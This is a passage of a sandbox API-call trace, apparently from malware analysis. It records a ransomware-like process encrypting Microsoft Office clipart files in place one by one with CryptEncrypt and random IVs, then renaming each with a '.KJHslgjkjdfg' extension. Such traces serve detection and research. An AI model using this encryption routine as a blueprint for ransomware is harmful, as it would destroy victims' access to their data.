pdwDataLen=0x29df258*=0x6980, dwBufLen=0x6980 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6980) returned 1 [0192.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.555] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6980, lpOverlapped=0x0) returned 1 [0192.555] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.555] SetEndOfFile (hFile=0x130) returned 1 [0192.557] GetProcessHeap () returned 0x990000 [0192.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.557] GetProcessHeap () returned 0x990000 [0192.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.kjhslgjkjdfg")) returned 1 [0192.558] CloseHandle (hObject=0x130) returned 1 [0192.558] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0192.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.559] GetProcessHeap () returned 0x990000 [0192.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.559] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.559] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.559] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.559] GetProcessHeap () returned 0x990000 [0192.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.559] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.559] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.559] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.562] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.562] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.562] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.562] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.562] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.562] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.562] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2bd0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2bd0, lpOverlapped=0x0) returned 1 [0192.563] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bd0, dwBufLen=0x2bd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bd0) returned 1 [0192.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.564] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2bd0, lpOverlapped=0x0) returned 1 [0192.564] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.564] SetEndOfFile (hFile=0x130) returned 1 [0192.567] GetProcessHeap () returned 0x990000 [0192.567] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.567] GetProcessHeap () returned 0x990000 [0192.567] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.kjhslgjkjdfg")) returned 1 [0192.568] CloseHandle (hObject=0x130) returned 1 [0192.568] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0192.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.569] GetProcessHeap () returned 0x990000 [0192.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.569] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.570] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.570] GetProcessHeap () returned 0x990000 [0192.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.570] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.570] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.570] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.572] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.572] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.572] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.572] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.572] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.573] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.573] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4290, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4290, lpOverlapped=0x0) returned 1 [0192.574] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4290, dwBufLen=0x4290 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4290) returned 1 [0192.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.574] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4290, lpOverlapped=0x0) returned 1 [0192.574] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.574] SetEndOfFile (hFile=0x130) returned 1 [0192.575] GetProcessHeap () returned 0x990000 [0192.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.576] GetProcessHeap () returned 0x990000 [0192.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.kjhslgjkjdfg")) returned 1 [0192.577] CloseHandle (hObject=0x130) returned 1 [0192.584] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0192.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.585] GetProcessHeap () returned 0x990000 [0192.585] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.585] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.585] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.585] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.585] GetProcessHeap () returned 0x990000 [0192.585] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.585] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.585] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.585] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.588] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.588] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.588] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.588] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.588] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.589] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.589] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x43c0, lpOverlapped=0x0) returned 1 [0192.590] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x43c0) returned 1 [0192.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.590] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x43c0, lpOverlapped=0x0) returned 1 [0192.590] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.590] SetEndOfFile (hFile=0x130) returned 1 [0192.593] GetProcessHeap () returned 0x990000 [0192.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.593] GetProcessHeap () returned 0x990000 [0192.593] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.kjhslgjkjdfg")) returned 1 [0192.595] CloseHandle (hObject=0x130) returned 1 [0192.595] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0192.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.595] GetProcessHeap () returned 0x990000 [0192.595] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.596] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.596] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.598] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.598] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.598] GetProcessHeap () returned 0x990000 [0192.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.598] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.598] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.598] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.599] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.599] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.599] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.599] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3264, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3264, lpOverlapped=0x0) returned 1 [0192.601] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3270, dwBufLen=0x3270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3270) returned 1 [0192.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.601] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3270, lpOverlapped=0x0) returned 1 [0192.601] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.601] SetEndOfFile (hFile=0x130) returned 1 [0192.604] GetProcessHeap () returned 0x990000 [0192.604] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.604] GetProcessHeap () returned 0x990000 [0192.604] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.kjhslgjkjdfg")) returned 1 [0192.605] CloseHandle (hObject=0x130) returned 1 [0192.605] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0192.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 